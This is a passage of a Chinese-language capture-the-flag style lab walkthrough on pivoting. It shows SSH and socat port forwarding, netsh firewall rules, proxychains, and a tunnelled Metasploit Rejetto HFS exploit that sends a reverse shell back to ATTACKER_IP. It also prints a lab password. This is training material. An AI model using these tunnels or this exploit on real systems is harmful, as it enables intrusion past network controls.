PC1:命令提示符

1
C:\> ssh tunneluser@1.1.1.1 -L *:80:127.0.0.1:80 -N

该命令结构与远程端口转发中使用的命令结构类似,但使用-L本地端口转发选项。此选项要求我们指示 PC-1 用于接收连接的本地套接字 ( *:80) 以及从攻击者的 PC 角度要连接的远程套接字 ( 127.0.0.1:80)。

请注意,我们在第二个套接字中使用 IP 地址 127.0.0.1,因为从攻击者的 PC 角度来看,这是持有要转发的端口 80 的主机。

由于我们在 PC-1 上打开了一个新端口,因此我们可能需要添加防火墙规则以允许传入连接(使用dir=in)。此操作需要管理权限:

1
netsh advfirewall firewall add rule name="Open Port 80" dir=in action=allow protocol=TCP localport=80

一旦建立起隧道,任何用户将其浏览器指向 PC-1 都http://2.2.2.2:80可以看到攻击者的机器发布的网站。

使用 socat 进行端口转发

在SSH不可用的情况下,可以使用 socat 执行类似的功能。虽然不如SSH灵活,但 socat 允许您以更简单的方式转发端口。使用 socat 的缺点之一是我们需要将其传输到枢纽主机(当前示例中的 PC-1),这使得它比SSH更容易被检测到,但在没有其他选择的情况下,它可能值得一试。

使用 socat 执行端口转发的基本语法要简单得多。如果我们想在主机上打开端口 1234 并将我们在那里收到的任何连接转发到主机 1.1.1.1 上的端口 4321,则可以使用以下命令:

1
socat TCP4-LISTEN:1234,fork TCP4:1.1.1.1:4321

fork选项允许 socat 为每个收到的连接派生一个新进程,从而可以处理多个连接而无需关闭。如果不包含它,socat 将在第一个连接完成时关闭。

回到我们的例子,如果我们想使用 PC-1 作为枢纽访问服务器上的端口 3389,就像我们使用SSH远程端口转发一样,我们可以使用以下命令:

PC-1:命令提示符

1
C:\>socat TCP4-LISTEN:3389,fork TCP4:3.3.3.3:3389

请注意,socat 无法像 SSH 那样将连接直接转发到攻击者的机器,但会在 PC-1 上打开一个端口,然后攻击者的机器可以连接到该端口:

SOCAT 端口转发 1

与往常一样,由于在枢轴主机上打开了一个端口,我们可能需要创建防火墙规则来允许任何到该端口的连接:

1
netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389

另一方面,如果我们想从攻击者的机器公开端口 80,以便服务器可以访问它,我们只需要稍微调整一下命令:

PC-1:命令提示符

1
C:\>socat TCP4-LISTEN:80,fork TCP4:1.1.1.1:80

结果,PC-1 将生成端口 80 并监听转发到攻击者机器上的端口 80 的连接:

SOCAT 端口转发 2

动态端口转发和 SOCKS

虽然单端口转发对于需要访问特定套接字的任务来说效果很好,但有时我们可能需要通过枢轴主机对主机的多个端口甚至多台机器的多个端口进行扫描。在这些情况下,动态端口转发允许我们通过主机进行枢轴扫描,并使用SOCKS 代理与任何我们想要的 IP 地址/端口建立多个连接。

由于我们不想依赖目标网络中 Windows 机器上现有的SSH服务器,因此我们通常使用SSH客户端通过以下命令建立反向动态端口转发:

PC1:命令提示符

1
C:\> ssh tunneluser@1.1.1.1 -R 9050 -N

在这种情况下,SSH服务器将在端口上启动 SOCKS 代理,并通过SSH9050隧道转发任何连接请求,最终由SSH客户端代理。

最有趣的部分是,我们可以使用proxychains通过 SOCKS 代理轻松使用我们的任何工具。为此,我们首先需要确保正确配置 proxychains 以将任何连接指向SSH用于 SOCKS 代理服务器的相同端口。可以在 AttackBox 上找到 proxychains 配置文件 /etc/proxychains.conf。如果我们向下滚动到配置文件的末尾,我们应该看到一行指示用于 socks 代理的端口:

1
2
[ProxyList]
socks4 127.0.0.1 9050

默认端口是 9050,但只要与我们建立SSH隧道时使用的端口匹配,任何端口都可以使用。

如果我们现在想通过代理执行任何命令,我们可以使用代理链:

1
proxychains curl http://pxeboot.za.tryhackme.com

请注意,某些软件(例如 nmap)在某些情况下可能无法与 SOCKS 很好地配合使用,并且可能会显示改变的结果,因此您的里程可能会有所不同。

我们开始工作吧!

**注意:**由于您将使用从实验室网络到攻击者机器的SSH连接来完成tunneluser 此任务, 我们强烈建议您使用 Attackbox 或 VM 而不是实际机器。已给出有关创建不允许通过SSH /SCP 运行命令或传输文件的用户的说明,因此请务必按照说明进行操作。还建议创建一个强密码,tunneluser 并确保它是一个唯一且可丢弃的密码,而不是您在此平台或任何其他平台上的实际密码。

要完成此练习,您需要使用任务 1 中从http://distributor.za.tryhackme.com/creds分配给您的凭据连接到 THMJMP2 。如果您尚未这样做,请单击链接并立即获取凭据。获得凭据后,通过SSH连接到 THMJMP2 :

1
ssh za\\<AD Username>@thmjmp2.za.tryhackme.com

我们的第一个目标是通过RDP连接到 THMIIS。如果我们尝试直接从攻击者的机器连接,我们会发现端口 3389 已通过防火墙过滤,因此无法直接使用。但是,该端口已启动并运行,但只能从 THMJMP2 访问。通过使用THMJMP2 上可用的 socat,我们将转发 RDP 端口,使其在 THMJMP2 上可用,以便从攻击者的机器进行连接。

为此,我们将使用以下参数运行 socat:

THMJMP2:命令提示符

1
C:\tools\socat\>socat TCP4-LISTEN:13389,fork TCP4:THMIIS.za.tryhackme.com:3389

请注意,我们不能将端口 3389 用于侦听器,因为 THMJMP2 已将其用于自己的 RDP 服务。请随意将侦听器端口 (13389) 更改为其他数字,以避免与其他学生发生冲突。在典型设置中,您必须添加防火墙规则以允许流量通过侦听器端口,但 THMJMP2 已禁用防火墙以方便您使用。

一旦设置了监听器,你就能够通过 THMJMP2 上的 socat 监听器,从攻击者机器通过RDP连接到 THMIIS:

1
user@AttackBox$ xfreerdp /v:THMJMP2.za.tryhackme.com:13389 /u:t1_thomas.moore /p:MyPazzw3rd2020

隧道综合设施利用

THMDC 服务器运行的是 Rejetto HFS 的一个易受攻击的版本。我们面临的问题是防火墙规则限制了对易受攻击端口的访问,因此只能从 THMJMP2 查看。此外,来自 THMDC 的出站连接仅允许连接到其本地网络中的计算机,因此无法直接将反向 shell 接收到攻击者的计算机上。更糟糕的是,Rejetto HFS 漏洞需要攻击者托管 HTTP 服务器来触发最终的有效负载,但由于不允许向攻击者的计算机进行出站连接,因此我们需要找到一种方法来在同一网络中的其他计算机之一中托管 Web 服务器,这一点都不方便。我们可以使用端口转发来解决所有这些问题。

首先,让我们看看漏洞是如何工作的。首先,它将连接到 HFS 端口(RPORT在 Metasploit 中)以触发第二个连接。第二个连接将针对 上的攻击者的机器进行SRVPORT,其中 Web 服务器将提供最终的有效负载。最后,攻击者的有效负载将执行并向 上的攻击者发送反向 shell LPORT

HFS 漏洞

考虑到这一点,我们可以使用 SSH 将一些端口从攻击者的计算机转发到 THMJMP2(SRVPORT 用于 Web 服务器,LPORT 用于接收反向 shell),并通过 THMJMP2 到达 THMDC 上的 RPORT。我们需要在两个方向上进行三次端口转发,以便所有漏洞的交互都可以通过 THMJMP2 进行代理:

HFS 转发漏洞

Rejetto HFS 将在 THMDC 上监听端口 80,因此我们需要使用远程端口转发通过 THMJMP2 将该端口隧道传输回攻击者的机器。由于攻击箱的端口 80 已被其他服务占用,因此我们需要将 THMDC 上的端口 80 与攻击箱当前未使用的某个端口链接起来。让我们使用端口 8888。在 THMJMP2 中运行 ssh 以转发此端口时,我们必须-R 8888:thmdc.za.tryhackme.com:80在命令中添加以下内容。

对于 SRVPORT 和 LPORT,我们随意选择两个端口。为了演示目的,我们将设置SRVPORT=6666LPORT=7878,但请确保使用不同的端口,因为实验室是与其他学生共享的,因此如果你们两个选择相同的端口,则在尝试转发它们时,您将收到一条错误消息,指出该端口已在 THMJMP2 上使用。

为了将这些端口从我们的攻击者机器转发到 THMJMP2,我们将使用本地端口转发,方法是将-L *:6666:127.0.0.1:6666-L *:7878:127.0.0.1:7878 添加到我们的 ssh 命令中。这将绑定 THMJMP2 上的两个端口,并将任何连接隧道回我们的攻击者机器。

将整个命令放在一起,我们最终会得到以下内容:

THMJMP2:命令提示符

1
C:\> ssh tunneluser@ATTACKER_IP -R 8888:thmdc.za.tryhackme.com:80 -L *:6666:127.0.0.1:6666 -L *:7878:127.0.0.1:7878 -N

**注意:**如果您正在使用 AttackBox 并且之前加入过其他网络房间,请务必选择分配给面向网络的隧道接口的 IP 地址lateralmovementandpivoting作为您的 ATTACKER_IP,否则您的反向 shell/连接将无法正常工作。为方便起见,连接到此网络的接口称为lateralmovement,因此您应该能够通过运行 来获取正确的 IP 地址ip add show lateralmovement

img

一旦所有端口转发都到位,我们就可以启动Metasploit并配置漏洞利用,以便所需端口与我们通过 THMJMP2 转发的端口相匹配:

攻击框

1
2
3
4
5
6
7
8
9
10
11
12
13
user@AttackBox$ msfconsole
msf6 > use rejetto_hfs_exec
msf6 exploit(windows/http/rejetto_hfs_exec) > set payload windows/shell_reverse_tcp

msf6 exploit(windows/http/rejetto_hfs_exec) > set lhost thmjmp2.za.tryhackme.com
msf6 exploit(windows/http/rejetto_hfs_exec) > set ReverseListenerBindAddress 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set lport 7878
msf6 exploit(windows/http/rejetto_hfs_exec) > set srvhost 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set srvport 6666

msf6 exploit(windows/http/rejetto_hfs_exec) > set rhosts 127.0.0.1
msf6 exploit(windows/http/rejetto_hfs_exec) > set rport 8888
msf6 exploit(windows/http/rejetto_hfs_exec) > exploit

这里有很多内容需要解开:

  • LHOST参数 通常有两个用途:它用作在攻击者的机器上绑定侦听器以接收反向 shell 的 IP;它还嵌入在有效载荷中,以便受害者知道在触发漏洞时要重新连接的位置。在我们的特定场景中,由于 THMDC 无法联系我们,我们需要强制有效载荷重新连接 THMJMP2,但我们需要侦听器绑定到攻击者的机器上127.0.0.1。为此,Metasploit提供了一个可选参数ReverseListenerBindAddress,可用于指定攻击者机器上的侦听器绑定地址,与有效载荷将连接回的地址分开。在我们的示例中,我们希望反向 shell 侦听器绑定到攻击者机器上的 127.0.0.1,而有效载荷则连接回 THMJMP2(因为它将通过 SSH 隧道转发到攻击者机器)。
  • 我们的漏洞利用还必须运行一个 Web 服务器来托管并将最终的有效负载发送回受害服务器。我们使用SRVHOST来指示监听地址,在本例中为 127.0.0.1,以便攻击者的机器将 Web 服务器绑定到本地主机。虽然这可能违反直觉,因为没有外部主机能够指向攻击者的机器本地主机,但 SSH 隧道将负责将在 SRVPORT 的 THMJMP2 上收到的任何连接转发回攻击者的机器。
  • RHOSTS设置为指向 127.0.0.1,因为SSH隧道将通过使用 THMJMP2 建立的 SSH隧道将请求转发到 THMDC。RPORT设置为 8888,因为发送到攻击者机器上该端口的任何连接都将转发到 THMDC 上的端口 80。